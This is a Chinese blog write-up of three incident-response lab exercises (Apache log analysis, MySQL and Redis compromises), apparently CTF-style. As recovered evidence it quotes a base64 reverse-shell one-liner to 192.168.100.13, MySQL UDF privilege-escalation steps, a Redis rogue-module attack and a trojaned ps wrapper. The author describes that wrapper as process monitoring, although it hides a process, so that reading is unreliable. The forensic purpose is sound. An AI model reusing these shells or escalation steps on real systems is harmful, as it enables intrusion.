本文最后更新于 2025年3月21日 晚上
apache 日志分析 & mysql 应急响应 & redis 应急响应
apache 日志分析 简介 1 2 3 4 5 6 7 账号密码 root apacherizhi ssh root@IP 1 、提交当天访问次数最多的IP ,即黑客IP :2 、黑客使用的浏览器指纹是什么,提交指纹的md5:3 、查看包含index. php页面被访问的次数,提交次数:4 、查看黑客IP 访问了多少次,提交次数:5 、查看2023 年8 月03 日8 时这一个小时内有多少IP 访问,提交次数:
Q1 在 apache2 日志中过滤出访问次数最多的 IP
1 2 3 4 5 6 7 8 9 cut -d- -f 1 access.log.1 | uniq -c | sort -rn
拿到 IP
Q2 知道 IP 了,直接过滤出来
1 cat access.log.1 | grep 192.168.200.2
找到指纹
1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
md5 加密
1 flag {2 d6330f380f44ac20f3a02eed0958f66}
Q3 同理,过滤出 index.php
文件,wc -l
列出次数
1 cat access.log.1 | grep "/index.php" | wc -l
Q4 按照 IP 过滤
1 grep "192.168.200.2" access.log.1 | cut -d' ' -f1 | sort -n | uniq -c
Q5 按照时间过滤
1 grep "03/Aug/2023:08" access.log.1 | cut -d' ' -f1 | sort -n | uniq -c | wc -l
mysql 应急响应 简介 1 2 3 4 5 6 mysql应急响应 ssh账号 root 密码 xjmysql ssh env.xj .edisec .net -p xxxxx1 .黑客第一次写入的shell flag{关键字符串} 2 .黑客反弹shell的ip flag{ip}3 .黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx 4 .黑客获取的权限 flag{whoami后的值}
Q1 写入的 shell 一般在 web 目录下,所以进入 /var/www/html
查看,查看可疑文件 sh.php
找到 flag
1 flag {ccfda79e-7 aa1-4275 -bc26-a6189eb9a20b}
而且可以发现注入点为数据库表的第三个字段
Q2 反弹 shell 可以看日志,进入 /var/log
目录下看日志,进入 apache2
查看 access.log
,能看见如下一条日志
1 192.168.200.2 - - [01/Aug/2023:02:18:18 +0000] "POST /adminer.php?username=root&sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx%7Cbase64%20-d%27)%3B HTTP/1.1" 200 4025 "http://192.168.200.31:8005/adminer.php?username=root&sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F%27)%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
url 解码之后得到
1 select sys_eval('echo YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx|base64 -d' );
base64 解码得到反弹 shell 语句
1 bash -i >&/dev/tcp/192.168.100.13/777 0>&1
拿到 flag
Q3 能提权说明已经是连接上了,查找一下与账号有关的信息
1 find ./ -name "*.php" | xargs grep "root"
第一条显示了账号密码
1 mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");
直接连接上 mysql,查看是否为 UDF 提权
1 show global variables like 'secure_file_priv' ;
secure_file_priv
为空,因为 secure_file_priv
决定了是否有上传文件等操作的权限,当 secure_file_priv
为空时其也就表示了可以对任意路径进行操作,并且是 root 账户,满足了 UDF 提权。
进入 /usr/lib/mysql/plugin
目录
1 cd /usr/lib/mysql/plugin
发现了 udf.so
文件,md5 加密路径 /usr/lib/mysql/plugin/udf.so
1 flag{b1818bde4e310f3d23f1005185b973e7 }
UDF 提权详解:【数据库提权系列】—【Mysql-UDF提权篇】
Q4 查询数据库中有哪些函数
1 select * from mysql.func;
同样使用此函数执行 whoami
1 select sys_eval('whoami' );
拿到 flag
redis 应急响应 简介 1 2 3 4 5 6 7 8 9 10 11 12 服务器场景操作系统 Linux 服务器账号密码 root xjredis 任务环境说明 注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!! 应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查 1 .通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交2 .通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交3 .通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交4 .通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交5 .通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交
Q1 进入 /var/log
目录查看日志信息 redis.log
有三个 IP : 192.168.100.13,192.168.31.55 和 192.168.100.20
而 IP 192.168.100.13 进行了 MASTER <-> REPLICA sync started
主从复制攻击,但攻击失败
192.168.31.55 并没有明显的恶意行为
同样 192.168.100.20 也进行了攻击,并且成功了,还执行了恶意模块操作 Module 'system' loaded from ./exp.so
主从复制攻击,是指将一台 Redis 服务器的数据复制到其他的 Redis 服务器,攻击机为主机,被攻击的机器为从机,利用复制的功能通过 FULLRESYNC
将主机上的文件同步复制至从机上,然后再利用 redis4.x/5.x
指令可以通过外部加载的特性去加载恶意的 so 文件,从而实现利用 redis 完成提权
Q2 从前面已经知道了恶意 so 文件 exp.so
从根目录找到 exp.so
1 strings exp.so | grep "flag"
1 flag {XJ_78f012d7-42 fc-49 a8-8 a8c-e74c87ea109b}
Q3 查看 syslog.1
系统日志有一堆反弹 shell 的记录
说明攻击者写了计划任务,IP 为 192.168.100.20
,查看有无定时任务
定时任务中反弹 shell 的 IP 为 192.168.100.13
攻击机切换了好几次 IP,从 192.168.100.13:8888 切换到 192.168.31.55:8888,然后再切换到 192.168.100.20:8888,这里的 flag 只算定时任务的 IP
Q4 一般 ssh 登录有两种:
用户生成一对 SSH 密钥对,包括私钥和公钥。公钥被上传并存储在目标服务器的用户账户下的 ~/.ssh/authorized_keys
文件中
直接使用用户名和密码登录
那这里可以查看 Redis 配置或查看 SSH 登录日志
访问 .ssh
目录中的 authorized_keys
文件,包含了 redis 的公钥
1 2 3 4 5 6 7 REDIS0009� redis-ver5.0.1� �edis-bits�@�ctime�tO�dused-mem�XU aof-preamble���xxsshB9 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDh4OEFvyb4ubM7YPvzG/FfO6jE4PjLdmuCUdGP+aeLeJB5SXYT6zHkU9wlfY/Fo4UuBlhTqBaS6Ih/Wf62KepzrMsTQQYcSG/Xp8lgFzVCCFAk7apzxfRCPNk1pxaGiEF6MPoCmUu1UhC3ta3xyh2c4KZls0hyFN9JZsuD+siT8KVqm856vQ+RaTrZi3ThMa5gbeH+v3ZUcO35ZfMKor/uWXffHT0Yi06dsgIMN3faIiBrd1Lg0B5kOTaDq3fHs8Qs7pvR9C4ZTm2AK/Oct8ULdsnfS2YWtrYyC8rzNip9Wf083ZY1B4bj1UoxD+QwgThh5VP3xgRd9KDSzEYIBabstGh8GU5zDxr0zIuhQM35I0aALvojXl4QaaEnZwpqU3ZkojPG2aNC0QdiBK7eKwA38Gk+V8DEWc/TTkO+wm3aXYdll5sPmoWTAonaln1nmCiTDn4jKb73DxYHfSgNIDpJ6fS5kbWL5UJnElWCrxzaXKHUlqXJj3x81Oz6baFNv8= xj-test-user �<#5M
xj-test-user
是一个用户名,搜索找到了 https://github.com/xj-test-user/redis-rogue-getshell/commit/76b1b74b92f9cc6ef2a62985debdf09dcc056636
然后拼接
1 flag {xj-test-user-wow-you-find -flag }
Q5 检查系统路径中的命令,在 /usr/bin
文件夹下查看
发现 ps 的权限为 -rwxrwxrwx
,正常权限应该为 -rwxr-xr-x
,查看 ps 的内容
1 flag{c195i2923381905517d818e313792d196 }
简单分析一下这个脚本
1 2 3 4 5 6 7 8 9 oldifs="$IFS " IFS='\$n' result=$(ps_ $1 $2 $3 |grep -v 'threadd' )for v in $result ;do echo -e "$v \t" ;done IFS="$oldifs "
获取 ps_
命令的输出,并按行处理和输出结果,列出系统中运行的进程,并过滤掉包含 threadd
关键字的进程信息,应该是一个进程监控脚本,检查特定进程的状态